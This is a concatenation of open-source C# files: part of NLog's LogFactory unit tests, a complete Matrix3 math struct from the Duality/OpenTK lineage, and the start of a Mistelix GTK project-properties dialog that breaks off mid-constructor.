LogFactory, the thread will deadlock. lock (primaryLogFactoryLock) { var thread = new Thread(() => { (new LogFactory()).GetCurrentClassLogger(); }); thread.Start(); threadTerminated = thread.Join(TimeSpan.FromSeconds(1)); } Assert.True(threadTerminated); } finally { try { File.Delete("NLog.config"); } catch { } } } [Fact] public void ReloadConfigOnTimer_DoesNotThrowConfigException_IfConfigChangedInBetween() { var loggingConfiguration = new LoggingConfiguration(); LogManager.Configuration = loggingConfiguration; var logFactory = new LogFactory(loggingConfiguration); var differentConfiguration = new LoggingConfiguration(); Assert.DoesNotThrow(() => logFactory.ReloadConfigOnTimer(differentConfiguration)); } private class ReloadNullConfiguration : LoggingConfiguration { public override LoggingConfiguration Reload() { return null; } } [Fact] public void ReloadConfigOnTimer_DoesNotThrowConfigException_IfConfigReloadReturnsNull() { var loggingConfiguration = new ReloadNullConfiguration(); LogManager.Configuration = loggingConfiguration; var logFactory = new LogFactory(loggingConfiguration); Assert.DoesNotThrow(() => logFactory.ReloadConfigOnTimer(loggingConfiguration)); } [Fact] public void ReloadConfigOnTimer_Raises_ConfigurationReloadedEvent() { var called = false; var loggingConfiguration = new LoggingConfiguration(); LogManager.Configuration = loggingConfiguration; var logFactory = new LogFactory(loggingConfiguration); logFactory.ConfigurationReloaded += (sender, args) => { called = true; }; logFactory.ReloadConfigOnTimer(loggingConfiguration); Assert.True(called); } [Fact] public void ReloadConfigOnTimer_When_No_Exception_Raises_ConfigurationReloadedEvent_With_Correct_Sender() { object calledBy = null; var loggingConfiguration = new LoggingConfiguration(); LogManager.Configuration = loggingConfiguration; var logFactory = new LogFactory(loggingConfiguration); logFactory.ConfigurationReloaded += (sender, args) => { calledBy = sender; }; logFactory.ReloadConfigOnTimer(loggingConfiguration); Assert.Same(calledBy, logFactory); } [Fact] public void ReloadConfigOnTimer_When_No_Exception_Raises_ConfigurationReloadedEvent_With_Argument_Indicating_Success() { LoggingConfigurationReloadedEventArgs arguments = null; var loggingConfiguration = new LoggingConfiguration(); LogManager.Configuration = loggingConfiguration; var logFactory = new LogFactory(loggingConfiguration); logFactory.ConfigurationReloaded += (sender, args) => { arguments = args; }; logFactory.ReloadConfigOnTimer(loggingConfiguration); Assert.True(arguments.Succeeded); } public static void Throws() { throw new Exception(); } /// <summary> /// We should be forward compatible so that we can add easily attributes in the future. /// </summary> [Fact] public void NewAttrOnNLogLevelShouldNotThrowError() { LogManager.Configuration = CreateConfigurationFromString(@" <nlog throwExceptions='true' imAnewAttribute='noError'> <targets><target type='file' name='f1' filename='test.log' /></targets> <rules> <logger name='*' minlevel='Debug' writeto='f1'></logger> </rules> </nlog>"); } [Fact] public void ValueWithVariableMustNotCauseInfiniteRecursion() { LogManager.Configuration = null; File.WriteAllText("NLog.config", @" <nlog> <variable name='dir' value='c:\mylogs' /> <targets> <target name='f' type='file' fileName='${var:dir}\test.log' /> </targets> <rules> <logger name='*' writeTo='f' /> </rules> </nlog>"); try { LogManager.Configuration.ToString(); } finally { File.Delete("NLog.config"); } } [Fact] public void EnableAndDisableLogging() { LogFactory factory = new LogFactory(); #pragma warning disable 618 // In order Suspend => Resume Assert.True(factory.IsLoggingEnabled()); factory.DisableLogging(); Assert.False(factory.IsLoggingEnabled()); factory.EnableLogging(); Assert.True(factory.IsLoggingEnabled()); #pragma warning restore 618 } [Fact] public void SuspendAndResumeLogging_InOrder() { LogFactory factory = new LogFactory(); // In order Suspend => Resume [Case 1] Assert.True(factory.IsLoggingEnabled()); factory.SuspendLogging(); Assert.False(factory.IsLoggingEnabled()); factory.ResumeLogging(); Assert.True(factory.IsLoggingEnabled()); // In order Suspend => Resume [Case 2] using (var factory2 = new LogFactory()) { Assert.True(factory.IsLoggingEnabled()); factory.SuspendLogging(); Assert.False(factory.IsLoggingEnabled()); factory.ResumeLogging(); Assert.True(factory.IsLoggingEnabled()); } } [Fact] public void SuspendAndResumeLogging_OutOfOrder() { LogFactory factory = new LogFactory(); // Out of order Resume => Suspend => (Suspend => Resume) factory.ResumeLogging(); Assert.True(factory.IsLoggingEnabled()); factory.SuspendLogging(); Assert.True(factory.IsLoggingEnabled()); factory.SuspendLogging(); Assert.False(factory.IsLoggingEnabled()); factory.ResumeLogging(); Assert.True(factory.IsLoggingEnabled()); } } } #endif
#region --- License --- /* Copyright (c) 2006 - 2008 The Open Toolkit library. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ #endregion using System; using System.Runtime.InteropServices; namespace Duality { /// <summary> /// Represents a 3x3 matrix containing 3D rotation and scale. /// </summary> [StructLayout(LayoutKind.Sequential)] public struct Matrix3 : IEquatable<Matrix3> { /// <summary> /// The identity matrix. /// </summary> public static readonly Matrix3 Identity = new Matrix3(Vector3.UnitX, Vector3.UnitY, Vector3.UnitZ); /// <summary> /// The zero matrix. /// </summary> public static readonly Matrix3 Zero = new Matrix3(Vector3.Zero, Vector3.Zero, Vector3.Zero); /// <summary> /// First row of the matrix. /// </summary> public Vector3 Row0; /// <summary> /// Second row of the matrix. /// </summary> public Vector3 Row1; /// <summary> /// Third row of the matrix. /// </summary> public Vector3 Row2; /// <summary> /// Gets the first column of this matrix. /// </summary> public Vector3 Column0 { get { return new Vector3(this.Row0.X, this.Row1.X, this.Row2.X); } } /// <summary> /// Gets the second column of this matrix. /// </summary> public Vector3 Column1 { get { return new Vector3(this.Row0.Y, this.Row1.Y, this.Row2.Y); } } /// <summary> /// Gets the third column of this matrix. /// </summary> public Vector3 Column2 { get { return new Vector3(this.Row0.Z, this.Row1.Z, this.Row2.Z); } } /// <summary> /// Gets or sets the value at row 1, column 1 of this instance. /// </summary> public float M11 { get { return this.Row0.X; } set { this.Row0.X = value; } } /// <summary> /// Gets or sets the value at row 1, column 2 of this instance. /// </summary> public float M12 { get { return this.Row0.Y; } set { this.Row0.Y = value; } } /// <summary> /// Gets or sets the value at row 1, column 3 of this instance. /// </summary> public float M13 { get { return this.Row0.Z; } set { this.Row0.Z = value; } } /// <summary> /// Gets or sets the value at row 2, column 1 of this instance. /// </summary> public float M21 { get { return this.Row1.X; } set { this.Row1.X = value; } } /// <summary> /// Gets or sets the value at row 2, column 2 of this instance. /// </summary> public float M22 { get { return this.Row1.Y; } set { this.Row1.Y = value; } } /// <summary> /// Gets or sets the value at row 2, column 3 of this instance. /// </summary> public float M23 { get { return this.Row1.Z; } set { this.Row1.Z = value; } } /// <summary> /// Gets or sets the value at row 3, column 1 of this instance. /// </summary> public float M31 { get { return this.Row2.X; } set { this.Row2.X = value; } } /// <summary> /// Gets or sets the value at row 3, column 2 of this instance. /// </summary> public float M32 { get { return this.Row2.Y; } set { this.Row2.Y = value; } } /// <summary> /// Gets or sets the value at row 3, column 3 of this instance. /// </summary> public float M33 { get { return this.Row2.Z; } set { this.Row2.Z = value; } } /// <summary> /// Gets or sets the value at a specified row and column. /// </summary> public float this[int rowIndex, int columnIndex] { get { if (rowIndex == 0) return this.Row0[columnIndex]; else if (rowIndex == 1) return this.Row1[columnIndex]; else if (rowIndex == 2) return this.Row2[columnIndex]; throw new IndexOutOfRangeException("You tried to access this matrix at: (" + rowIndex + ", " + columnIndex + ")"); } set { if (rowIndex == 0) this.Row0[columnIndex] = value; else if (rowIndex == 1) this.Row1[columnIndex] = value; else if (rowIndex == 2) this.Row2[columnIndex] = value; else throw new IndexOutOfRangeException("You tried to set this matrix at: (" + rowIndex + ", " + columnIndex + ")"); } } /// <summary> /// Gets the determinant of this matrix. /// </summary> public float Determinant { get { float m11 = this.Row0.X, m12 = this.Row0.Y, m13 = this.Row0.Z, m21 = this.Row1.X, m22 = this.Row1.Y, m23 = this.Row1.Z, m31 = this.Row2.X, m32 = this.Row2.Y, m33 = this.Row2.Z; return m11 * m22 * m33 + m12 * m23 * m31 + m13 * m21 * m32 - m13 * m22 * m31 - m11 * m23 * m32 - m12 * m21 * m33; } } /// <summary> /// Gets or sets the values along the main diagonal of the matrix. /// </summary> public Vector3 Diagonal { get { return new Vector3(this.Row0.X, this.Row1.Y, this.Row2.Z); } set { this.Row0.X = value.X; this.Row1.Y = value.Y; this.Row2.Z = value.Z; } } /// <summary> /// Gets the trace of the matrix, the sum of the values along the diagonal. /// </summary> public float Trace { get { return this.Row0.X + this.Row1.Y + this.Row2.Z; } } /// <summary> /// Constructs a new instance. /// </summary> /// <param name="row0">Top row of the matrix</param> /// <param name="row1">Second row of the matrix</param> /// <param name="row2">Bottom row of the matrix</param> public Matrix3(Vector3 row0, Vector3 row1, Vector3 row2) { this.Row0 = row0; this.Row1 = row1; this.Row2 = row2; } /// <summary> /// Constructs a new instance. /// </summary> /// <param name="m00">First item of the first row of the matrix.</param> /// <param name="m01">Second item of the first row of the matrix.</param> /// <param name="m02">Third item of the first row of the matrix.</param> /// <param name="m10">First item of the second row of the matrix.</param> /// <param name="m11">Second item of the second row of the matrix.</param> /// <param name="m12">Third item of the second row of the matrix.</param> /// <param name="m20">First item of the third row of the matrix.</param> /// <param name="m21">Second item of the third row of the matrix.</param> /// <param name="m22">Third item of the third row of the matrix.</param> public Matrix3( float m00, float m01, float m02, float m10, float m11, float m12, float m20, float m21, float m22) { this.Row0 = new Vector3(m00, m01, m02); this.Row1 = new Vector3(m10, m11, m12); this.Row2 = new Vector3(m20, m21, m22); } /// <summary> /// Constructs a new instance. /// </summary> /// <param name="matrix">A Matrix4 to take the upper-left 3x3 from.</param> public Matrix3(Matrix4 matrix) { this.Row0 = matrix.Row0.Xyz; this.Row1 = matrix.Row1.Xyz; this.Row2 = matrix.Row2.Xyz; } /// <summary> /// Converts this instance into its inverse. /// </summary> public void Invert() { this = Matrix3.Invert(this); } /// <summary> /// Converts this instance into its transpose. /// </summary> public void Transpose() { this = Matrix3.Transpose(this); } /// <summary> /// Divides each element in the Matrix by the <see cref="Determinant"/>. /// </summary> public void Normalize() { float determinant = this.Determinant; this.Row0 /= determinant; this.Row1 /= determinant; this.Row2 /= determinant; } /// <summary> /// Returns a normalised copy of this instance. /// </summary> public Matrix3 Normalized() { Matrix3 m = this; m.Normalize(); return m; } /// <summary> /// Returns an inverted copy of this instance. /// </summary> public Matrix3 Inverted() { Matrix3 m = this; if (m.Determinant != 0) m.Invert(); return m; } /// <summary> /// Returns a copy of this Matrix3 without scale. /// </summary> public Matrix3 ClearScale() { Matrix3 m = this; m.Row0 = m.Row0.Normalized; m.Row1 = m.Row1.Normalized; m.Row2 = m.Row2.Normalized; return m; } /// <summary> /// Returns a copy of this Matrix3 without rotation. /// </summary> public Matrix3 ClearRotation() { Matrix3 m = this; m.Row0 = new Vector3(m.Row0.Length, 0, 0); m.Row1 = new Vector3(0, m.Row1.Length, 0); m.Row2 = new Vector3(0, 0, m.Row2.Length); return m; } /// <summary> /// Returns the scale component of this instance. /// </summary> public Vector3 ExtractScale() { return new Vector3(this.Row0.Length, this.Row1.Length, this.Row2.Length); } /// <summary> /// Returns the rotation component of this instance. Quite slow. /// </summary> /// <param name="row_normalise">Whether the method should row-normalise (i.e. remove scale from) the Matrix. Pass false if you know it's already normalised.</param> public Quaternion ExtractRotation(bool row_normalise = true) { var row0 = this.Row0; var row1 = this.Row1; var row2 = this.Row2; if (row_normalise) { row0 = row0.Normalized; row1 = row1.Normalized; row2 = row2.Normalized; } // code below adapted from Blender Quaternion q = new Quaternion(); double trace = 0.25 * (row0[0] + row1[1] + row2[2] + 1.0); if (trace > 0) { double sq = Math.Sqrt(trace); q.W = (float)sq; sq = 1.0 / (4.0 * sq); q.X = (float)((row1[2] - row2[1]) * sq); q.Y = (float)((row2[0] - row0[2]) * sq); q.Z = (float)((row0[1] - row1[0]) * sq); } else if (row0[0] > row1[1] && row0[0] > row2[2]) { double sq = 2.0 * Math.Sqrt(1.0 + row0[0] - row1[1] - row2[2]); q.X = (float)(0.25 * sq); sq = 1.0 / sq; q.W = (float)((row2[1] - row1[2]) * sq); q.Y = (float)((row1[0] + row0[1]) * sq); q.Z = (float)((row2[0] + row0[2]) * sq); } else if (row1[1] > row2[2]) { double sq = 2.0 * Math.Sqrt(1.0 + row1[1] - row0[0] - row2[2]); q.Y = (float)(0.25 * sq); sq = 1.0 / sq; q.W = (float)((row2[0] - row0[2]) * sq); q.X = (float)((row1[0] + row0[1]) * sq); q.Z = (float)((row2[1] + row1[2]) * sq); } else { double sq = 2.0 * Math.Sqrt(1.0 + row2[2] - row0[0] - row1[1]); q.Z = (float)(0.25 * sq); sq = 1.0 / sq; q.W = (float)((row1[0] - row0[1]) * sq); q.X = (float)((row2[0] + row0[2]) * sq); q.Y = (float)((row2[1] + row1[2]) * sq); } q.Normalize(); return q; } /// <summary> /// Build a rotation matrix from the specified axis/angle rotation. /// </summary> /// <param name="axis">The axis to rotate about.</param> /// <param name="angle">Angle in radians to rotate counter-clockwise (looking in the direction of the given axis).</param> /// <param name="result">A matrix instance.</param> public static void CreateFromAxisAngle(Vector3 axis, float angle, out Matrix3 result) { //normalize and create a local copy of the vector. axis.Normalize(); float axisX = axis.X, axisY = axis.Y, axisZ = axis.Z; //calculate angles float cos = (float)System.Math.Cos(-angle); float sin = (float)System.Math.Sin(-angle); float t = 1.0f - cos; //do the conversion math once float tXX = t * axisX * axisX, tXY = t * axisX * axisY, tXZ = t * axisX * axisZ, tYY = t * axisY * axisY, tYZ = t * axisY * axisZ, tZZ = t * axisZ * axisZ; float sinX = sin * axisX, sinY = sin * axisY, sinZ = sin * axisZ; result.Row0.X = tXX + cos; result.Row0.Y = tXY - sinZ; result.Row0.Z = tXZ + sinY; result.Row1.X = tXY + sinZ; result.Row1.Y = tYY + cos; result.Row1.Z = tYZ - sinX; result.Row2.X = tXZ - sinY; result.Row2.Y = tYZ + sinX; result.Row2.Z = tZZ + cos; } /// <summary> /// Build a rotation matrix from the specified axis/angle rotation. /// </summary> /// <param name="axis">The axis to rotate about.</param> /// <param name="angle">Angle in radians to rotate counter-clockwise (looking in the direction of the given axis).</param> /// <returns>A matrix instance.</returns> public static Matrix3 CreateFromAxisAngle(Vector3 axis, float angle) { Matrix3 result; CreateFromAxisAngle(axis, angle, out result); return result; } /// <summary> /// Build a rotation matrix from the specified quaternion. /// </summary> /// <param name="q">Quaternion to translate.</param> /// <param name="result">Matrix result.</param> public static void CreateFromQuaternion(ref Quaternion q, out Matrix3 result) { Vector3 axis; float angle; q.ToAxisAngle(out axis, out angle); CreateFromAxisAngle(axis, angle, out result); } /// <summary> /// Build a rotation matrix from the specified quaternion. /// </summary> /// <param name="q">Quaternion to translate.</param> /// <returns>A matrix instance.</returns> public static Matrix3 CreateFromQuaternion(Quaternion q) { Matrix3 result; CreateFromQuaternion(ref q, out result); return result; } /// <summary> /// Builds a rotation matrix for a rotation around the x-axis. /// </summary> /// <param name="angle">The counter-clockwise angle in radians.</param> /// <param name="result">The resulting Matrix3 instance.</param> public static void CreateRotationX(float angle, out Matrix3 result) { float cos = (float)System.Math.Cos(angle); float sin = (float)System.Math.Sin(angle); result = Identity; result.Row1.Y = cos; result.Row1.Z = sin; result.Row2.Y = -sin; result.Row2.Z = cos; } /// <summary> /// Builds a rotation matrix for a rotation around the x-axis. /// </summary> /// <param name="angle">The counter-clockwise angle in radians.</param> /// <returns>The resulting Matrix3 instance.</returns> public static Matrix3 CreateRotationX(float angle) { Matrix3 result; CreateRotationX(angle, out result); return result; } /// <summary> /// Builds a rotation matrix for a rotation around the y-axis. /// </summary> /// <param name="angle">The counter-clockwise angle in radians.</param> /// <param name="result">The resulting Matrix3 instance.</param> public static void CreateRotationY(float angle, out Matrix3 result) { float cos = (float)System.Math.Cos(angle); float sin = (float)System.Math.Sin(angle); result = Identity; result.Row0.X = cos; result.Row0.Z = -sin; result.Row2.X = sin; result.Row2.Z = cos; } /// <summary> /// Builds a rotation matrix for a rotation around the y-axis. /// </summary> /// <param name="angle">The counter-clockwise angle in radians.</param> /// <returns>The resulting Matrix3 instance.</returns> public static Matrix3 CreateRotationY(float angle) { Matrix3 result; CreateRotationY(angle, out result); return result; } /// <summary> /// Builds a rotation matrix for a rotation around the z-axis. /// </summary> /// <param name="angle">The counter-clockwise angle in radians.</param> /// <param name="result">The resulting Matrix3 instance.</param> public static void CreateRotationZ(float angle, out Matrix3 result) { float cos = (float)System.Math.Cos(angle); float sin = (float)System.Math.Sin(angle); result = Identity; result.Row0.X = cos; result.Row0.Y = sin; result.Row1.X = -sin; result.Row1.Y = cos; } /// <summary> /// Builds a rotation matrix for a rotation around the z-axis. /// </summary> /// <param name="angle">The counter-clockwise angle in radians.</param> /// <returns>The resulting Matrix3 instance.</returns> public static Matrix3 CreateRotationZ(float angle) { Matrix3 result; CreateRotationZ(angle, out result); return result; } /// <summary> /// Creates a scale matrix. /// </summary> /// <param name="scale">Single scale factor for the x, y, and z axes.</param> /// <returns>A scale matrix.</returns> public static Matrix3 CreateScale(float scale) { Matrix3 result; CreateScale(scale, out result); return result; } /// <summary> /// Creates a scale matrix. /// </summary> /// <param name="scale">Scale factors for the x, y, and z axes.</param> /// <returns>A scale matrix.</returns> public static Matrix3 CreateScale(Vector3 scale) { Matrix3 result; CreateScale(ref scale, out result); return result; } /// <summary> /// Creates a scale matrix. /// </summary> /// <param name="x">Scale factor for the x axis.</param> /// <param name="y">Scale factor for the y axis.</param> /// <param name="z">Scale factor for the z axis.</param> /// <returns>A scale matrix.</returns> public static Matrix3 CreateScale(float x, float y, float z) { Matrix3 result; CreateScale(x, y, z, out result); return result; } /// <summary> /// Creates a scale matrix. /// </summary> /// <param name="scale">Single scale factor for the x, y, and z axes.</param> /// <param name="result">A scale matrix.</param> public static void CreateScale(float scale, out Matrix3 result) { result = Identity; result.Row0.X = scale; result.Row1.Y = scale; result.Row2.Z = scale; } /// <summary> /// Creates a scale matrix. /// </summary> /// <param name="scale">Scale factors for the x, y, and z axes.</param> /// <param name="result">A scale matrix.</param> public static void CreateScale(ref Vector3 scale, out Matrix3 result) { result = Identity; result.Row0.X = scale.X; result.Row1.Y = scale.Y; result.Row2.Z = scale.Z; } /// <summary> /// Creates a scale matrix. /// </summary> /// <param name="x">Scale factor for the x axis.</param> /// <param name="y">Scale factor for the y axis.</param> /// <param name="z">Scale factor for the z axis.</param> /// <param name="result">A scale matrix.</param> public static void CreateScale(float x, float y, float z, out Matrix3 result) { result = Identity; result.Row0.X = x; result.Row1.Y = y; result.Row2.Z = z; } /// <summary> /// Multiplies two instances. /// </summary> /// <param name="left">The left operand of the multiplication.</param> /// <param name="right">The right operand of the multiplication.</param> /// <returns>A new instance that is the result of the multiplication</returns> public static Matrix3 Mult(Matrix3 left, Matrix3 right) { Matrix3 result; Mult(ref left, ref right, out result); return result; } /// <summary> /// Multiplies two instances. /// </summary> /// <param name="left">The left operand of the multiplication.</param> /// <param name="right">The right operand of the multiplication.</param> /// <param name="result">A new instance that is the result of the multiplication</param> public static void Mult(ref Matrix3 left, ref Matrix3 right, out Matrix3 result) { float lM11 = left.Row0.X, lM12 = left.Row0.Y, lM13 = left.Row0.Z, lM21 = left.Row1.X, lM22 = left.Row1.Y, lM23 = left.Row1.Z, lM31 = left.Row2.X, lM32 = left.Row2.Y, lM33 = left.Row2.Z, rM11 = right.Row0.X, rM12 = right.Row0.Y, rM13 = right.Row0.Z, rM21 = right.Row1.X, rM22 = right.Row1.Y, rM23 = right.Row1.Z, rM31 = right.Row2.X, rM32 = right.Row2.Y, rM33 = right.Row2.Z; result.Row0.X = ((lM11 * rM11) + (lM12 * rM21)) + (lM13 * rM31); result.Row0.Y = ((lM11 * rM12) + (lM12 * rM22)) + (lM13 * rM32); result.Row0.Z = ((lM11 * rM13) + (lM12 * rM23)) + (lM13 * rM33); result.Row1.X = ((lM21 * rM11) + (lM22 * rM21)) + (lM23 * rM31); result.Row1.Y = ((lM21 * rM12) + (lM22 * rM22)) + (lM23 * rM32); result.Row1.Z = ((lM21 * rM13) + (lM22 * rM23)) + (lM23 * rM33); result.Row2.X = ((lM31 * rM11) + (lM32 * rM21)) + (lM33 * rM31); result.Row2.Y = ((lM31 * rM12) + (lM32 * rM22)) + (lM33 * rM32); result.Row2.Z = ((lM31 * rM13) + (lM32 * rM23)) + (lM33 * rM33); } /// <summary> /// Calculate the inverse of the given matrix /// </summary> /// <param name="mat">The matrix to invert</param> /// <param name="result">The inverse of the given matrix if it has one, or the input if it is singular</param> /// <exception cref="InvalidOperationException">Thrown if the Matrix3 is singular.</exception> public static void Invert(ref Matrix3 mat, out Matrix3 result) { int[] colIdx = { 0, 0, 0 }; int[] rowIdx = { 0, 0, 0 }; int[] pivotIdx = { -1, -1, -1 }; float[,] inverse = {{mat.Row0.X, mat.Row0.Y, mat.Row0.Z}, {mat.Row1.X, mat.Row1.Y, mat.Row1.Z}, {mat.Row2.X, mat.Row2.Y, mat.Row2.Z}}; int icol = 0; int irow = 0; for (int i = 0; i < 3; i++) { float maxPivot = 0.0f; for (int j = 0; j < 3; j++) { if (pivotIdx[j] != 0) { for (int k = 0; k < 3; ++k) { if (pivotIdx[k] == -1) { float absVal = System.Math.Abs(inverse[j, k]); if (absVal > maxPivot) { maxPivot = absVal; irow = j; icol = k; } } else if (pivotIdx[k] > 0) { result = mat; return; } } } } ++(pivotIdx[icol]); if (irow != icol) { for (int k = 0; k < 3; ++k) { float f = inverse[irow, k]; inverse[irow, k] = inverse[icol, k]; inverse[icol, k] = f; } } rowIdx[i] = irow; colIdx[i] = icol; float pivot = inverse[icol, icol]; if (pivot == 0.0f) { throw new InvalidOperationException("Matrix is singular and cannot be inverted."); } float oneOverPivot = 1.0f / pivot; inverse[icol, icol] = 1.0f; for (int k = 0; k < 3; ++k) inverse[icol, k] *= oneOverPivot; for (int j = 0; j < 3; ++j) { if (icol != j) { float f = inverse[j, icol]; inverse[j, icol] = 0.0f; for (int k = 0; k < 3; ++k) inverse[j, k] -= inverse[icol, k] * f; } } } for (int j = 2; j >= 0; --j) { int ir = rowIdx[j]; int ic = colIdx[j]; for (int k = 0; k < 3; ++k) { float f = inverse[k, ir]; inverse[k, ir] = inverse[k, ic]; inverse[k, ic] = f; } } result.Row0.X = inverse[0, 0]; result.Row0.Y = inverse[0, 1]; result.Row0.Z = inverse[0, 2]; result.Row1.X = inverse[1, 0]; result.Row1.Y = inverse[1, 1]; result.Row1.Z = inverse[1, 2]; result.Row2.X = inverse[2, 0]; result.Row2.Y = inverse[2, 1]; result.Row2.Z = inverse[2, 2]; } /// <summary> /// Calculate the inverse of the given matrix /// </summary> /// <param name="mat">The matrix to invert</param> /// <returns>The inverse of the given matrix if it has one, or the input if it is singular</returns> /// <exception cref="InvalidOperationException">Thrown if the Matrix4 is singular.</exception> public static Matrix3 Invert(Matrix3 mat) { Matrix3 result; Invert(ref mat, out result); return result; } /// <summary> /// Calculate the transpose of the given matrix /// </summary> /// <param name="mat">The matrix to transpose</param> /// <returns>The transpose of the given matrix</returns> public static Matrix3 Transpose(Matrix3 mat) { return new Matrix3(mat.Column0, mat.Column1, mat.Column2); } /// <summary> /// Calculate the transpose of the given matrix /// </summary> /// <param name="mat">The matrix to transpose</param> /// <param name="result">The result of the calculation</param> public static void Transpose(ref Matrix3 mat, out Matrix3 result) { result.Row0.X = mat.Row0.X; result.Row0.Y = mat.Row1.X; result.Row0.Z = mat.Row2.X; result.Row1.X = mat.Row0.Y; result.Row1.Y = mat.Row1.Y; result.Row1.Z = mat.Row2.Y; result.Row2.X = mat.Row0.Z; result.Row2.Y = mat.Row1.Z; result.Row2.Z = mat.Row2.Z; } /// <summary> /// Matrix multiplication /// </summary> /// <param name="left">left-hand operand</param> /// <param name="right">right-hand operand</param> /// <returns>A new Matrix3d which holds the result of the multiplication</returns> public static Matrix3 operator *(Matrix3 left, Matrix3 right) { return Matrix3.Mult(left, right); } /// <summary> /// Compares two instances for equality. /// </summary> /// <param name="left">The first instance.</param> /// <param name="right">The second instance.</param> /// <returns>True, if left equals right; false otherwise.</returns> public static bool operator ==(Matrix3 left, Matrix3 right) { return left.Equals(right); } /// <summary> /// Compares two instances for inequality. /// </summary> /// <param name="left">The first instance.</param> /// <param name="right">The second instance.</param> /// <returns>True, if left does not equal right; false otherwise.</returns> public static bool operator !=(Matrix3 left, Matrix3 right) { return !left.Equals(right); } /// <summary> /// Returns a System.String that represents the current Matrix3d. /// </summary> /// <returns>The string representation of the matrix.</returns> public override string ToString() { return string.Format("{0}\n{1}\n{2}", this.Row0, this.Row1, this.Row2); } /// <summary> /// Returns the hashcode for this instance. /// </summary> /// <returns>A System.Int32 containing the unique hashcode for this instance.</returns> public override int GetHashCode() { return this.Row0.GetHashCode() ^ this.Row1.GetHashCode() ^ this.Row2.GetHashCode(); } /// <summary> /// Indicates whether this instance and a specified object are equal. /// </summary> /// <param name="obj">The object to compare to.</param> /// <returns>True if the instances are equal; false otherwise.</returns> public override bool Equals(object obj) { if (!(obj is Matrix3)) return false; return this.Equals((Matrix3)obj); } /// <summary> /// Indicates whether the current matrix is equal to another matrix. /// </summary> /// <param name="other">A matrix to compare with this matrix.</param> /// <returns>true if the current matrix is equal to the matrix parameter; otherwise, false.</returns> public bool Equals(Matrix3 other) { return this.Row0 == other.Row0 && this.Row1 == other.Row1 && this.Row2 == other.Row2; } } }
// // Copyright (C) 2009-2010 Jordi Mas i Hernandez, jmas@softcatala.org // // Permission is hereby granted, free of charge, to any person obtaining // a copy of this software and associated documentation files (the // "Software"), to deal in the Software without restriction, including // without limitation the rights to use, copy, modify, merge, publish, // distribute, sublicense, and/or sell copies of the Software, and to // permit persons to whom the Software is furnished to do so, subject to // the following conditions: // // The above copyright notice and this permission notice shall be // included in all copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, // EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF // MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND // NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE // LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION // OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION // WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. // using System; using Gtk; using Mono.Unix; using System.Collections; using System.IO; using Mistelix.Widgets; using Mistelix.DataModel; using Mistelix.Core; namespace Mistelix.Dialogs { // Project properties dialog box public class ProjectPropertiesDialog : BuilderDialog { [GtkBeans.Builder.Object] Gtk.Entry output_dir; [GtkBeans.Builder.Object] Gtk.Entry name; [GtkBeans.Builder.Object] Gtk.RadioButton pal_radio; [GtkBeans.Builder.Object] Gtk.RadioButton ntsc_radio; [GtkBeans.Builder.Object] FontButton fontbuttons_button; [GtkBeans.Builder.Object] ColorButton backbuttons_button; [GtkBeans.Builder.Object] ColorButton forebuttons_button; [GtkBeans.Builder.Object] FontButton fontslides_button; [GtkBeans.Builder.Object] ColorButton backslides_button; [GtkBeans.Builder.Object] ColorButton foreslides_button; [GtkBeans.Builder.Object] Gtk.RadioButton fourbythree_radio; [GtkBeans.Builder.Object] Gtk.RadioButton sixteenbynine_radio; [GtkBeans.Builder.Object] Gtk.Label type_label; [GtkBeans.Builder.Object] Gtk.ComboBox thumbnail_combo; [GtkBeans.Builder.Object] Gtk.Box general_vbox; [GtkBeans.Builder.Object] Gtk.Box vbox25; [GtkBeans.Builder.Object] Gtk.Box name_hbox; [GtkBeans.Builder.Object] Gtk.Box output_dir_hbox; [GtkBeans.Builder.Object] Gtk.Box fourbythree_hbox; [GtkBeans.Builder.Object] Gtk.Box sixteenbynine_hbox; [GtkBeans.Builder.Object] Gtk.Box pal_hbox; [GtkBeans.Builder.Object] Gtk.Box ntsc_hbox; [GtkBeans.Builder.Object] Gtk.Box resolution_hbox; [GtkBeans.Builder.Object] Gtk.Notebook notebook; [GtkBeans.Builder.Object] Gtk.ComboBox resolution_combobox; [GtkBeans.Builder.Object] Gtk.Label resolution_label; Project project; ListStore thumbnail_store; ListStore resolution_store; bool needs_repaint; const int COLUMN_ID = 1; const int PADDING = 12; const int OFFSET = 4; const int PAGE_DVD = 1; // Notebook page const int PAGE_THEORA = 2; // Notebook page const int COL_INDEX = 1; // Store bool dvd_project; public ProjectPropertiesDialog (Project project) : base ("ProjectPropertiesDialog.ui", "projectproperties") { Gtk.Box.BoxChild child; TreeIter iter; bool more; this.project = project; dvd_project = project.Details.Type == ProjectType.DVD; // General tab name.Text = project.Details.Name; output_dir.Text = project.Details.OutputDir; fontslides_button.FontName = project.Details.SlideshowsFontName; backslides_button.UseAlpha = foreslides_button.UseAlpha = true; foreslides_button.Alpha = (ushort) (project.Details.SlideshowsForeColor.A * 65535); backslides_button.Alpha = (ushort) (project.Details.SlideshowsBackColor.A * 65535); foreslides_button.Color = Utils.CairoToGdkColor (project.Details.SlideshowsForeColor); backslides_button.Color = Utils.CairoToGdkColor (project.Details.SlideshowsBackColor); if (dvd_project == true) // 